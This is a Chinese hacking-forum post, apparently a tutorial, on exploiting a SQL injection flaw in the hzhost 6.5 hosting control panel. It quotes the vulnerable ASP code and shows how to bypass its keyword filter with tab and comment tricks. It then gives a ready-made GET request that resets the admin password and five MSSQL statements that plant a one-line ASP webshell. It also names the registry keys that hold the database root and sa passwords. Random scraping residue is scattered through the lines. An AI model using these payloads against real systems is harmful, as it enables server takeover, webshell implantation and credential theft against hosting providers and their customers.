再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

admin

这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
3 o8 j$ _. K- h 只讲两个要点。
  z9 S" C% U# L8 h. J# `  L* B9 V$ ]7 }第一，如何拿网站管理员权限。
2 ^$ [/ N/ S3 X2 q7 G* @ 第二，如何备份木马。
这次不是简单的注射点，而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来，而过滤函数又未过滤完全，导致我们有机会进行注射。
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。
httP://www.xxbing.com QQ178737315
& s1 M. W& m/ s( m0 ]由于我写了很长，而且很累了，所以希望大家回帖鼓励一下。
1 W0 \$ k: S. Q+ t------------开放浏览-------------
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中！
: |8 v# F0 y1 n+ ~' A-------------------------13-15行----------------------------
querytype=SafeRequest("querytype")  //saferequest函数接受数据
if chk_int(querytype)=false then  //检查是否是整数
  e: p. b  E# v8 i# z    ErrMsg="<font color=#ff0000>对不起</font>，非法操作！..."
5 Q  d$ M8 N; M" ~* u3 P( R -------------------------37-42行---------------------------
% _7 a9 i: F) C6 p elseif querytype=5 then //如果类型为5。就接受qu1数据！
6 P2 ]  g! F5 i1 l   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据，他自己定义的saferequest函数！
   
7 G. f8 M% {) d7 a3 l- v4 q    if  qu1="" then  //不能为空
         call errorpage(-2,"对不起，请选择参数！")
   end if         
! o" O& p. f8 ]  N) X' Y      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围，虽然用了saferequest，但是我们可以绕过！
0 C7 o, O2 s+ q9 F( p; V* Q3 J" L( U -------------------------62-65行---------------------------
qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
/ @4 G+ }6 F' u+ z( r  x if qu7<>"" then
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了，所以这里成了死点！！
end if
4 h  o# ~8 J& h# S. Z# k8 f1 X --------------------------117行-----------------------------
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring
  M8 ?6 |5 t% _- A- _9 }, l //到这里就丢进去查询了！
' K9 G6 X9 S+ {
, }4 t1 [  p( x; X/ s 来看看saferequest()函数。
, R3 e# H$ Q, @5 q" }% U------------------incs/config.asp中-------------------------
7 y  |# j6 f8 x! o Function SafeRequest(ParaName)
, k! V# C( R1 n7 }/ Q Dim ParaValue
ParaValue=Request(ParaName)  //获取数据
if IsNumeric(ParaValue)  then  //如果是数字
SafeRequest=ParaValue  //那就不过滤，直接赋值
exit Function
) w- k+ r% N/ `
0 A( v: Q* N* H% | else
. U9 M( f7 n: E6 b1 b ParaValuetemp=lcase(ParaValue)    //如果不是数字，先把接到的数据全部转为小写
& D& t6 M9 A7 c4 T1 @/ m% C: O tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
//定义要过滤的字符！

他过滤方式有问题。。。没有过滤 * / % / -- / ;
% z2 v* S! ^" u9 P/ u2 g! G) D 而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。

5 r3 _$ Y6 a* X% j$ N' }3 y. R temps=split(tempvalue,"|")           //转为一维数组
for mycount=0 to ubound(temps)       //循环读数组内数据
if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
                 call errorpage(-2,"非法请求！！！")  //如果有则弹出提示！！
2 I5 h& V/ x& a0 H3 P" [" ^                 response.end
end if
( e) I" J/ c) ^0 n next
SafeRequest=ParaValue
" T0 Z# f+ p5 R+ P end if
End function
-------------------------------------

9 [9 z" J7 C% t+ ^$ w+ A3 z 所以我们构造注射点的思路就是：不能出现单引号，update,select等等两边都要用%09（tab）..仔细看清楚。上面过滤的是update+空格。select+空格。
先给出查询语句的框架。
: Z& e( c4 X% k. pselect * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
- Y- ]+ u/ X) e. H, K
为了使语句顺利执行：
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他，是因为注释后，实际查询出错了。
$ k* I) [( `; X8 J& a% W 这里我给出条示范语句，即{我们的语句}
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
  k6 C" I; y7 s  B9 `
这条语句能够绕过saferequest函数的检测。没有出现单引号。
我们提交：
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1

这句话就能够将admin的密码修改成123456
, p7 l. v$ O: ]$ ~: H 到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。
第二步是要备份挂马。
大家看动画中的备马这么简单，当初难了我老半天。saferequest过滤了char(
5 @6 u: o; b/ }  d" X0 j3 S. J6 |! m 导致备马的这条语句失败。
' ]# |$ F) \& c2 ?0 f& Sdeclare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。

. s) F) f8 |# g2 Z( x# U 有人给我建议改成 @s ntext 等等，换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
% U' }, [" b8 u# O 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000)，也是可以的。这样我们就饶过了char(
0 X$ Y& Y4 F. W+ z 接下来放出详细语句。大家放入{我们的语句中}
第 一 步:
( v% Z1 N9 p9 P) A8 o1 W1 f create table [dbo].[shit_tmp] ([cmd] [image])--
第 二 步
$ ?- N! ^& S7 }6 q declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--
2 P: Y6 E( i1 D2 ], w 第 三 步
6 @2 C6 o! Q. P' J% f/ V6 G insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--
. ?1 }" r' g1 m: Y7 v$ r- f1 h 第 四 步
5 g7 H. m) ^4 t3 H% f1 k declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
, y' T/ _- H2 Q! x5 K8 K  w 第 五 步
# e% c6 U5 f& [/ k% X9 U: R3 c Drop table [shit_tmp]--
9 r$ G" W& S2 {1 J# K6 ~4 n0 ?
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。
$ F- I, h  U' N% s- J 一般来说，我们就能拿到webshell. 至于拿webshell后，如何取得系统权限。
请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用！》

8 x: E4 @9 |8 b2 j( q9 @) @最后是答疑部分：
1:这次是get注射，不像上次是post注射。由于没有文本框字符的限制，所以不需要保存网页到本地。
% [: F& u+ s: r# `; O% n
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后，成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
这是转为nvarchar型的，我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即：
: t5 Y( P9 A8 x2 {& b 0x6531306164633339343962613539616262653536653035376632306638383365
0 t7 C$ D/ J7 n/ c 大家仔细观察，会发现，其实只是去掉了一些00。。
, G' t5 ]7 k% a! U: I 所以大家在转换其他md5的时候，注意此问题。
2 p" M8 }1 W2 @; I3 J: o
3:读sa密码,root密码。我们读的是加密了的。还原必须在本机，每台hzhost主机都有自己的密钥，密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。
3 |8 Z8 l( D# v: p* k0 i& J 另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手，能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。

4:备马的问题，备份成功后，可能出现乱码，是由于截断了的原因，大家用NBSI3。去掉2个截断的勾，再生成语句执行就行了。
有的服务器可能在备马的过程中出现SQL过期，超时。遇到这样的是对方数据库很大，这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。

# ]1 {9 v- r3 H  V 5：hzhost其实不只这一个注射点，没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
9 t$ |" Y# E3 q; O7 a
6：:
" z/ l3 U, [8 N  osa密码。root密码。
- m( f$ F2 v+ J/ {- K+ T3 u+ F+ @ HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
7 n3 P( U+ ^+ d. W mysqlpass---root密码
mssqlpss----sa密码
- D% T0 Q9 j. [; d- L+ h

7.如果路径不在D:/hzhost
那么就是你人品问题！进后台找找普通用户FTP/web的路径，也许会有些用。
1 L8 a& S9 B( Q1 Z/ F3 p9 n; A 或者去读注册表。
4 _5 @1 G% {; V* O* ~ HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
! c0 F+ E1 }6 w+ B- P "wwwrootpath"="e:\\wwwroot"
; x: G6 G0 X' y" \5 v "urlsiteroot"="D:\\hzhost\\hzhost_url"
7 T; o1 F8 f5 p% o "ftprootpath"="e:\\ftproot"   可以看出什么？ 绝对路径放在注册表中。把注册表中的值更新到某个字段，再去读就行了。（比如用户e-mail中。。）
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路！
0 j+ X; }- t3 ?0 U0 I3 D0 y
利用动画下载地址（送给菜鸟同学们，能看懂文章的大不必下载，只是把文章的内容完全演示了一遍。）
7 X! P; i2 ^' ahzhost最新漏洞.rar
9 m4 a8 D  F: d/ x" {) X 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以，只能放到这里。抱歉啊！！

最后，还是版权。
http://www.xxbing.com QQ178737315
/ X& q. b7 n3 B- {7 B8 a+ J, r 允许自由转载。但请注明作者。